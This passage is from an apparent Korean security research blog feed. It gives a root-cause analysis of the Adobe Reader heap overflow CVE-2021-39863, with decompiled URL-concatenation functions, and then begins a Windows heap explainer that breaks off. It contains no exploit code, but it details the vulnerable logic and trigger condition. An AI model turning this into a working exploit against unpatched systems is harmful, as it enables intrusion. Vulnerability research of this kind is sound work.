          <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">v61</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="o">*</span><span class="p">((</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v73</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">=</span> <span class="n">v61</span><span class="p">;</span>
          <span class="n">v34</span> <span class="o">=</span> <span class="n">sub_25802FAC</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">v63</span><span class="p">);</span>
          <span class="k">if</span><span class="p">(</span><span class="n">v34</span><span class="o">+</span><span class="mi">1</span> <span class="o">&gt;</span> <span class="o">*</span><span class="n">a4</span><span class="p">)</span> <span class="p">{</span>
            <span class="o">*</span><span class="n">a4</span> <span class="o">=</span> <span class="n">v34</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
            <span class="k">goto</span> <span class="n">LABEL_45</span><span class="p">;</span>
          <span class="p">}</span>
          <span class="o">*</span><span class="n">a4</span> <span class="o">=</span> <span class="n">v34</span><span class="p">;</span>
          <span class="n">v25</span> <span class="o">=</span> <span class="n">v63</span><span class="p">;</span>
          <span class="k">goto</span> <span class="n">LABEL_82</span><span class="p">;</span>
        <span class="p">}</span>
<span class="nl">LABEL_75:</span>
        <span class="k">if</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">v60</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="o">*</span><span class="p">(</span><span class="n">_QWORD</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v73</span> <span class="o">=</span> <span class="n">v60</span><span class="p">;</span>
        <span class="k">goto</span> <span class="n">LABEL_77</span><span class="p">;</span>
      <span class="p">}</span>
      <span class="n">v26</span> <span class="o">=</span> <span class="n">v55</span><span class="p">;</span>
      <span class="n">v21</span> <span class="o">=</span> <span class="n">v42</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
      <span class="n">v27</span> <span class="o">=</span> <span class="n">v51</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">v64</span> <span class="o">=</span> <span class="n">v27</span><span class="p">;</span>
    <span class="n">v65</span> <span class="o">=</span> <span class="n">v52</span><span class="p">;</span>
    <span class="n">v66</span> <span class="o">=</span> <span class="n">v53</span><span class="p">;</span>
    <span class="n">v67</span> <span class="o">=</span> <span class="n">v54</span><span class="p">;</span>
    <span class="n">v33</span> <span class="o">=</span> <span class="n">v56</span><span class="p">;</span>
    <span class="k">if</span><span class="p">(</span><span class="n">v62</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">v26</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
      <span class="n">v33</span> <span class="o">=</span> <span class="n">v56</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
      <span class="n">v55</span> <span class="o">=</span> <span class="n">v26</span><span class="p">;</span>
      <span class="o">--</span><span class="n">v56</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="n">v69</span> <span class="o">=</span> <span class="n">v33</span><span class="p">;</span>
    <span class="n">v68</span> <span class="o">=</span> <span class="n">v26</span><span class="p">;</span>
    <span class="n">v71</span> <span class="o">=</span> <span class="n">v58</span><span class="p">;</span>
    <span class="n">v70</span> <span class="o">=</span> <span class="n">v57</span><span class="p">;</span>
    <span class="n">v72</span> <span class="o">=</span> <span class="n">v59</span><span class="p">;</span>
    <span class="k">if</span><span class="p">(</span><span class="n">v57</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LABEL_75</span><span class="p">;</span>
    <span class="n">v78</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">sub_25802C93</span><span class="p">(</span><span class="n">v21</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v78</span><span class="p">[</span><span class="mi">1</span><span class="p">]))</span> <span class="k">goto</span> <span class="n">LABEL_75</span><span class="p">;</span>
    <span class="n">v70</span> <span class="o">=</span> <span class="n">v78</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
    <span class="k">goto</span> <span class="n">LABEL_74</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="n">v22</span> <span class="o">=</span> <span class="n">sub_25802FAC</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">v42</span><span class="p">);</span>
  <span class="n">v23</span> <span class="o">=</span> <span class="n">a4</span><span class="p">;</span>
  <span class="n">v24</span> <span class="o">=</span> <span class="n">v22</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="k">if</span><span class="p">(</span><span class="n">v22</span><span class="o">+</span><span class="mi">1</span> <span class="o">&gt;</span> <span class="o">*</span><span class="n">a4</span><span class="p">)</span> <span class="p">{</span>
<span class="nl">LABEL_44:</span>
    <span class="o">*</span><span class="n">v23</span> <span class="o">=</span> <span class="n">v24</span><span class="p">;</span>
<span class="nl">LABEL_45:</span>
    <span class="o">*</span><span class="n">a5</span> <span class="o">=</span> <span class="o">-</span><span class="mi">3</span><span class="p">;</span>
    <span class="k">goto</span> <span class="n">LABEL_86</span><span class="p">;</span>
  <span class="p">}</span>
  <span class="o">*</span><span class="n">a4</span> <span class="o">=</span> <span class="n">v22</span><span class="p">;</span>
  <span class="n">v25</span> <span class="o">=</span> <span class="n">v42</span><span class="p">;</span>
<span class="nl">LABEL_82:</span>
  <span class="n">sub_25803194</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">v25</span><span class="p">,</span> <span class="n">String</span><span class="p">);</span>
<span class="nl">LABEL_87:</span>
  <span class="k">if</span><span class="p">(</span><span class="n">allocadr_Source_copy</span><span class="p">)</span>
    <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__cdecl</span> <span class="o">**</span><span class="p">)(</span><span class="n">LPCSTR</span><span class="p">))(</span><span class="n">dword_25824098</span> <span class="o">+</span> <span class="mi">12</span><span class="p">))(</span><span class="n">allocadr_Source_copy</span><span class="p">);</span>
  <span class="k">if</span><span class="p">(</span><span class="n">allocadr_lpString_copy</span><span class="p">)</span>
    <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__cdecl</span> <span class="o">**</span><span class="p">)(</span><span class="n">LPCSTR</span><span class="p">))(</span><span class="n">dword_25824098</span> <span class="o">+</span> <span class="mi">12</span><span class="p">))(</span><span class="n">allocadr_lpString_copy</span><span class="p">);</span>
  <span class="k">if</span><span class="p">(</span><span class="n">concatURL_addr</span><span class="p">)</span>
    <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="kr">__cdecl</span> <span class="o">**</span><span class="p">)(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="p">))(</span><span class="n">dword_25824098</span> <span class="o">+</span> <span class="mi">12</span><span class="p">))(</span><span class="n">concatURL_addr</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">v5</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>    </div>
  </div>
</details>

<h3 id="root-cause를-이해하는-데-아래의-함수들을-이해해야-한다">Root Cause를 이해하는 데 아래의 함수들을 이해해야 한다.</h3>

<ol>
  <li><strong>ExploitPoint() : 분석의 시작 함수</strong>
    <ul>
      <li>Parameter
        <ul>
          <li>_BYTE *Source : baseURL</li>
          <li>_BYTE *lpString : relative URL</li>
        </ul>
      </li>
      <li>Exploit에 필요한 부분만 나타내면 크게 아래의 동작을 거친다.
        <ol>
          <li>
            <p>URL 길이 측정</p>

            <table>
              <tbody>
                <tr>
                  <td>[1-1] relative URL 길이 측정</td>
                  <td>[1-2] base URL 길이 측정</td>
                </tr>
              </tbody>
            </table>
          </li>
          <li>
            <p>URL을 heap에 저장</p>

            <table>
              <tbody>
                <tr>
                  <td>[2-1] base URL을 새로운 heap에 저장</td>
                  <td>[2-2] relative URL을 새로운 heap에 저장</td>
                </tr>
              </tbody>
            </table>
          </li>
          <li>
            <p><del>URL 관련 연산 수행</del> (Exploit과 직접적인 연관은 없다.)</p>
          </li>
          <li>
            <p>연결된 URL을 저장하기 위한 새로운 heap 할당</p>
          </li>
          <li>
            <p>base URL을 [4]에서 할당한 heap memory에 저장</p>
          </li>
          <li>
            <p>relative URL을 [5]에서 저장한 base URL 뒤에 이어 붙임 : 취약점 발생</p>
          </li>
        </ol>
      </li>
    </ul>

    <hr />
  </li>
  <li>strlen_UTF16BE : UTF16-BE encoding 문자열의 길이를 계산한다.
    <ul>
      <li>Parameter
        <ul>
          <li>char *string : 길이를 계산할 UTF16-BE로 encoding된 문자열</li>
        </ul>
      </li>
      <li>return value : Null Terminator를 제외한 UTF16-BE URL의 byte 수</li>
    </ul>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">strlen_UTF16BE</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">string</span><span class="p">)</span>
 <span class="p">{</span>
   <span class="kt">char</span> <span class="o">*</span><span class="n">p_string_i0</span><span class="p">;</span> <span class="c1">// eax</span>
   <span class="kt">char</span> <span class="n">string_i1</span><span class="p">;</span> <span class="c1">// cl</span>
   <span class="kt">int</span> <span class="n">length</span><span class="p">;</span> <span class="c1">// esi</span>
   <span class="kt">char</span> <span class="n">string_i0</span><span class="p">;</span> <span class="c1">// bl</span>
   <span class="kt">char</span> <span class="o">*</span><span class="n">p_string_i1</span><span class="p">;</span> <span class="c1">// eax</span>
    
   <span class="n">p_string_i0</span> <span class="o">=</span> <span class="n">string</span><span class="p">;</span>
   <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">string</span> <span class="o">||</span> <span class="o">*</span><span class="n">string</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">2</span> <span class="o">||</span> <span class="n">string</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
   <span class="n">string_i1</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
   <span class="n">length</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
   <span class="k">do</span> <span class="p">{</span>
     <span class="n">string_i0</span> <span class="o">=</span> <span class="o">*</span><span class="n">p_string_i0</span><span class="p">;</span>
     <span class="n">p_string_i1</span> <span class="o">=</span> <span class="n">p_string_i0</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
     <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">p_string_i1</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
     <span class="n">string_i1</span> <span class="o">=</span> <span class="o">*</span><span class="n">p_string_i1</span><span class="p">;</span>
     <span class="n">p_string_i0</span> <span class="o">=</span> <span class="n">p_string_i1</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
     <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">string_i0</span><span class="p">)</span> <span class="k">goto</span> <span class="n">LABEL_10</span><span class="p">;</span>
     <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">string_i1</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
     <span class="n">length</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
   <span class="p">}</span> <span class="k">while</span> <span class="p">(</span> <span class="n">p_string_i0</span> <span class="p">);</span>
   <span class="k">if</span><span class="p">(</span><span class="n">string_i0</span><span class="p">)</span> <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
 <span class="nl">LABEL_10:</span>
   <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">string_i1</span><span class="p">)</span> <span class="k">return</span> <span class="n">length</span><span class="p">;</span>
   <span class="k">else</span> <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span>
 <span class="p">}</span>
</code></pre></div>    </div>
  </li>
  <li>custom_strlen() : UTF16-BE에서도 동작하는 strlen 함수이다.
    <ul>
      <li>Parameter
        <ul>
          <li>LPCSTR lpString : UTF-16BE로 encoding된 문자열의 주소 (32 bit)</li>
        </ul>
      </li>
      <li>return value : Null Terminator를 제외한 URL의 byte 수</li>
    </ul>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">strlen_UTF16BE_</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">string</span><span class="p">)</span>
 <span class="p">{</span>
   <span class="kt">char</span> <span class="o">*</span><span class="n">v1</span><span class="p">;</span> <span class="c1">// ecx</span>
   <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// edx</span>
   <span class="kt">char</span> <span class="n">v4</span><span class="p">;</span> <span class="c1">// al</span>
    
   <span class="n">v1</span> <span class="o">=</span> <span class="n">string</span><span class="p">;</span>
   <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">string</span><span class="p">)</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
   <span class="k">for</span><span class="p">(</span><span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">;</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">v4</span> <span class="o">=</span> <span class="o">*</span><span class="n">v1</span><span class="p">;</span>
     <span class="n">v1</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
     <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">v4</span> <span class="o">&amp;&amp;</span> <span class="o">!*</span><span class="p">(</span><span class="n">v1</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span> <span class="k">break</span><span class="p">;</span>
   <span class="p">}</span>
   <span class="k">return</span> <span class="n">i</span><span class="p">;</span>
 <span class="p">}</span>
</code></pre></div>    </div>
  </li>
  <li>calloc_guess() : C의 calloc 함수이다.</li>
  <li>custom_strncpy() : UTF16-BE에서도 동작하는 strncpy 함수이다.
    <ul>
      <li>Parameter
        <ul>
          <li>wchar_t *Destination : 복사할 주소</li>
          <li>wchar_t *Source : 복사할 문자열(의 주소)</li>
          <li>unsigned int iMaxLength : 복사할 길이</li>
        </ul>
      </li>
      <li>return value : deststr (복사할 공간; 복사된 장소)</li>
    </ul>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">wchar_t</span> <span class="o">*</span><span class="kr">__cdecl</span> <span class="nf">custom_strncpy</span><span class="p">(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="n">Destination</span><span class="p">,</span> <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">Source</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">iMaxLength</span><span class="p">)</span>
 <span class="p">{</span>
   <span class="kt">wchar_t</span> <span class="o">*</span><span class="n">result</span><span class="p">;</span> <span class="c1">// eax</span>
   <span class="kt">int</span> <span class="n">pExceptionObject</span><span class="p">;</span> <span class="c1">// [esp+Ch] [ebp-4h] BYREF</span>
    
   <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">Destination</span> <span class="o">||</span> <span class="o">!</span><span class="n">Source</span> <span class="o">||</span> <span class="o">!</span><span class="n">iMaxLength</span><span class="p">)</span> <span class="p">{</span>
     <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="n">__thiscall</span> <span class="o">**</span><span class="p">)(</span><span class="n">_DWORD</span><span class="p">,</span> <span class="kt">int</span><span class="p">))(</span><span class="n">dword_258240A4</span> <span class="o">+</span> <span class="mi">4</span><span class="p">))(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">dword_258240A4</span> <span class="o">+</span> <span class="mi">4</span><span class="p">),</span> <span class="mi">1073741827</span><span class="p">);</span>
     <span class="n">pExceptionObject</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
     <span class="n">CxxThrowException</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pExceptionObject</span><span class="p">,</span> <span class="p">(</span><span class="n">_ThrowInfo</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">_TI1H</span><span class="p">);</span>
   <span class="p">}</span>
   <span class="k">if</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">Source</span> <span class="o">==</span> <span class="mh">0xFE</span> <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">Source</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xFF</span><span class="p">)</span>
     <span class="k">return</span> <span class="n">wcsncpy</span><span class="p">(</span><span class="n">Destination</span><span class="p">,</span> <span class="n">Source</span><span class="p">,</span> <span class="n">iMaxLength</span> <span class="o">&gt;&gt;</span> <span class="mi">1</span><span class="p">);</span>
   <span class="n">result</span> <span class="o">=</span> <span class="p">(</span><span class="kt">wchar_t</span> <span class="o">*</span><span class="p">)</span><span class="n">lstrcpynA</span><span class="p">((</span><span class="n">LPSTR</span><span class="p">)</span><span class="n">Destination</span><span class="p">,</span> <span class="p">(</span><span class="n">LPCSTR</span><span class="p">)</span><span class="n">Source</span><span class="p">,</span> <span class="n">iMaxLength</span><span class="p">);</span>
   <span class="o">*</span><span class="p">((</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">Destination</span> <span class="o">+</span> <span class="n">iMaxLength</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
   <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
 <span class="p">}</span>
</code></pre></div>    </div>
  </li>
  <li>custom_strncat() : UTF16-BE에서도 동작하는 strncat 함수이다.
    <ul>
      <li>Parameter
        <ul>
          <li>char *Destination, char *Source, int maxlength</li>
        </ul>
      </li>
      <li>Destination 뒤에 Source를 붙임</li>
      <li>정상적인 경우 두 번째 if 문을 통해 custom_strcat(Destination, Source); 호출</li>
    </ul>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">custom_strncat</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">Destination</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">Source</span><span class="p">,</span> <span class="kt">int</span> <span class="n">maxlength</span><span class="p">)</span>
 <span class="p">{</span>
   <span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax</span>
   <span class="n">LPCSTR</span> <span class="n">pExceptionObject</span><span class="p">;</span> <span class="c1">// [esp+10h] [ebp-4h] BYREF</span>
    
   <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">Destination</span> <span class="o">||</span> <span class="o">!</span><span class="n">Source</span> <span class="o">||</span> <span class="o">!</span><span class="n">maxlength</span><span class="p">)</span> <span class="p">{</span>
     <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="n">__thiscall</span> <span class="o">**</span><span class="p">)(</span><span class="n">_DWORD</span><span class="p">,</span> <span class="kt">int</span><span class="p">))(</span><span class="n">dword_258240A4</span> <span class="o">+</span> <span class="mi">4</span><span class="p">))(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">dword_258240A4</span> <span class="o">+</span> <span class="mi">4</span><span class="p">),</span> <span class="mi">1073741827</span><span class="p">);</span>
     <span class="n">pExceptionObject</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
     <span class="n">CxxThrowException</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pExceptionObject</span><span class="p">,</span> <span class="p">(</span><span class="n">_ThrowInfo</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">_TI1H</span><span class="p">);</span>
   <span class="p">}</span>
   <span class="n">pExceptionObject</span> <span class="o">=</span> <span class="n">custom_strlen</span><span class="p">(</span><span class="n">Destination</span><span class="p">);</span>
   <span class="k">if</span><span class="p">(</span><span class="o">&amp;</span><span class="n">custom_strlen</span><span class="p">(</span><span class="n">Source</span><span class="p">)[(</span><span class="kt">int</span><span class="p">)</span><span class="n">pExceptionObject</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="p">(</span><span class="k">const</span> <span class="n">CHAR</span> <span class="o">*</span><span class="p">)(</span><span class="n">maxlength</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span> <span class="p">{</span>
     <span class="n">custom_strcat</span><span class="p">(</span><span class="n">Destination</span><span class="p">,</span> <span class="n">Source</span><span class="p">);</span>
     <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
   <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
     <span class="n">strncat</span><span class="p">(</span><span class="n">Destination</span><span class="p">,</span> <span class="n">Source</span><span class="p">,</span> <span class="n">maxlength</span> <span class="o">-</span> <span class="p">(</span><span class="n">_DWORD</span><span class="p">)</span><span class="n">pExceptionObject</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
     <span class="n">result</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
     <span class="n">Destination</span><span class="p">[</span><span class="n">maxlength</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
   <span class="p">}</span>
   <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
 <span class="p">}</span>
</code></pre></div>    </div>

    <hr />
  </li>
  <li><strong>custom_strcat() : UTF16-BE에서도 동작해야 하는 strcat 함수로 직접적으로 취약점이 발생한다.</strong>
    <ul>
      <li>Parameter
        <ul>
          <li>LPSTR lpString1 : base URL</li>
          <li>LPCSTR lpString2 : relative URL</li>
        </ul>
      </li>
      <li>base URL이 UTF16-BE로 encoding 되었을 경우, base URL 뒤에 <code class="language-plaintext highlighter-rouge">"\x00\x00"</code>이 나올 때까지 relative URL을 2 byte 씩 복사한다.
        <ul>
          <li>즉, relative URL이 UTF16-BE로 encoding 되었다고 인식하고 연결을 진행한다.</li>
        </ul>
      </li>
      <li>base URL이 UTF16-BE로 encoding 되지 않았을 경우, lstrcatA 함수를 호출해 <code class="language-plaintext highlighter-rouge">"\x00"</code>이 나올 때까지 base URL 뒤에 relative URL을 1 byte 씩 복사한다.
        <ul>
          <li>즉, relative URL도 UTF16-BE로 encoding 되지 않았다고 인식하고 연결을 진행한다.</li>
        </ul>
      </li>
    </ul>

    <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">LPSTR</span> <span class="kr">__cdecl</span> <span class="nf">custom_strcat</span><span class="p">(</span><span class="n">LPSTR</span> <span class="n">lpString1</span><span class="p">,</span> <span class="n">LPCSTR</span> <span class="n">lpString2</span><span class="p">)</span>
 <span class="p">{</span>
   <span class="kt">int</span> <span class="n">len_lpString1</span><span class="p">;</span> <span class="c1">// eax</span>
   <span class="n">LPCSTR</span> <span class="n">p_lpString2_i2</span><span class="p">;</span> <span class="c1">// edx</span>
   <span class="n">CHAR</span> <span class="o">*</span><span class="n">concatpoint</span><span class="p">;</span> <span class="c1">// ecx</span>
   <span class="n">CHAR</span> <span class="n">lpString2_i2</span><span class="p">;</span> <span class="c1">// al</span>
   <span class="n">CHAR</span> <span class="n">lpString2_i3</span><span class="p">;</span> <span class="c1">// bl</span>
   <span class="kt">int</span> <span class="n">pExceptionObject</span><span class="p">;</span> <span class="c1">// [esp+10h] [ebp-4h] BYREF</span>
        
   <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">lpString1</span> <span class="o">||</span> <span class="o">!</span><span class="n">lpString2</span><span class="p">)</span> <span class="p">{</span>
     <span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">void</span> <span class="p">(</span><span class="n">__thiscall</span> <span class="o">**</span><span class="p">)(</span><span class="n">_DWORD</span><span class="p">,</span> <span class="kt">int</span><span class="p">))(</span><span class="n">dword_258240A4</span> <span class="o">+</span> <span class="mi">4</span><span class="p">))(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)(</span><span class="n">dword_258240A4</span> <span class="o">+</span> <span class="mi">4</span><span class="p">),</span> <span class="mi">1073741827</span><span class="p">);</span>
     <span class="n">pExceptionObject</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
     <span class="n">CxxThrowException</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pExceptionObject</span><span class="p">,</span> <span class="p">(</span><span class="n">_ThrowInfo</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">_TI1H</span><span class="p">);</span>
   <span class="p">}</span>
   <span class="k">if</span><span class="p">(</span><span class="o">*</span><span class="n">lpString1</span> <span class="o">==</span> <span class="p">(</span><span class="n">CHAR</span><span class="p">)</span><span class="mh">0xFE</span> <span class="o">&amp;&amp;</span> <span class="n">lpString1</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="p">(</span><span class="n">CHAR</span><span class="p">)</span><span class="mh">0xFF</span><span class="p">)</span> <span class="p">{</span>
     <span class="n">len_lpString1</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">custom_strlen</span><span class="p">(</span><span class="n">lpString1</span><span class="p">);</span>
     <span class="n">p_lpString2_i2</span> <span class="o">=</span> <span class="n">lpString2</span> <span class="o">+</span> <span class="mi">2</span><span class="p">;</span>
     <span class="n">concatpoint</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">lpString1</span><span class="p">[</span><span class="n">len_lpString1</span><span class="p">];</span>
     <span class="k">do</span> <span class="p">{</span>
       <span class="k">do</span> <span class="p">{</span>
         <span class="n">lpString2_i2</span> <span class="o">=</span> <span class="o">*</span><span class="n">p_lpString2_i2</span><span class="p">;</span>
         <span class="n">p_lpString2_i2</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
         <span class="o">*</span><span class="n">concatpoint</span> <span class="o">=</span> <span class="n">lpString2_i2</span><span class="p">;</span>
         <span class="n">concatpoint</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
         <span class="n">lpString2_i3</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">p_lpString2_i2</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
         <span class="o">*</span><span class="p">(</span><span class="n">concatpoint</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">=</span> <span class="n">lpString2_i3</span><span class="p">;</span>
       <span class="p">}</span> <span class="k">while</span><span class="p">(</span><span class="n">lpString2_i2</span><span class="p">);</span>
     <span class="p">}</span> <span class="k">while</span><span class="p">(</span><span class="n">lpString2_i3</span><span class="p">);</span>
   <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
     <span class="n">lstrcatA</span><span class="p">(</span><span class="n">lpString1</span><span class="p">,</span> <span class="n">lpString2</span><span class="p">);</span>
   <span class="p">}</span>
   <span class="k">return</span> <span class="n">lpString1</span><span class="p">;</span>
 <span class="p">}</span>
</code></pre></div>    </div>
  </li>
</ol>

<h2 id="3-root-cause">3. Root Cause</h2>

<aside>
💡 UTF16-BE로 encoding된 base URL과 ANSI로 encoding된 relative URL이 연결될 때,
<br />
ANSI URL을 UTF16-BE로 인식하여 취약점이 발생한다.

</aside>

<aside>
💡 그 결과, relative URL의 Null Terminator인 `"\x00"`을 넘어 `"\x00\x00"`이 나올 때까지 연결이 진행된다.

</aside>

<p><img src="https://github.com/user-attachments/assets/fa2e03ff-3b3b-4b52-8036-061e77209f4f" alt="image" />
[그림 5] Root Cause 모식도</p>

<p><img src="https://github.com/WHS-SEGFAULT/CVE-2021-39863/blob/main/Adobe%20root%20cause.pdf" alt="Adobe Root Cause.pdf" /></p>

<h2 id="reference">REFERENCE</h2>
<p>[1] THE IDA PRO BOOK 2ND EDITION (Chris Eagle)</p>]]></content><author><name>011nuyha, bnovkebin, koeunchong, mntly, Adawn0106, NoNoNGU</name></author><category term="Adobe" /><category term="CVE-2021-39863" /><category term="1-day Research" /><category term="Root Cause" /><summary type="html"><![CDATA[CVE-2021-39863]]></summary></entry><entry><title type="html">Windows Heap</title><link href="https://whs-segfault.github.io/adobe/2024/08/23/Korean-Windows-Heap.html" rel="alternate" type="text/html" title="Windows Heap" /><published>2024-08-23T00:00:00+00:00</published><updated>2024-08-23T00:00:00+00:00</updated><id>https://whs-segfault.github.io/adobe/2024/08/23/%5BKorean%5D-Windows-Heap</id><content type="html" xml:base="https://whs-segfault.github.io/adobe/2024/08/23/Korean-Windows-Heap.html"><![CDATA[<ul>
  <li>Windows Heap 할당 매커니즘에는 두 종류가 있다.
    <ol>
      <li>NT heap : 기존에 존재하던 Windows Heap 할당 매커니즘이다.</li>
      <li>
        <p>Segment Heap</p>

        <p>: Windows 10부터 추가되었으나 많은 프로그램이 NT heap에 최적화되어 상용화되지는 않은 Windows Heap 할당 매커니즘이다.</p>
      </li>
    </ol>
  </li>
</ul>

<h2 id="1-nt-heap-lfh">1. NT Heap, LFH</h2>

<ul>
  <li>Heap Fragmentation을 낮추고, 성능을 향상 시키기 위해 Back-End와 Front-End를 이용해 heap을 할당하고 관리한다.</li>
</ul>

<hr />

<ul>
  <li>Back-End Heap
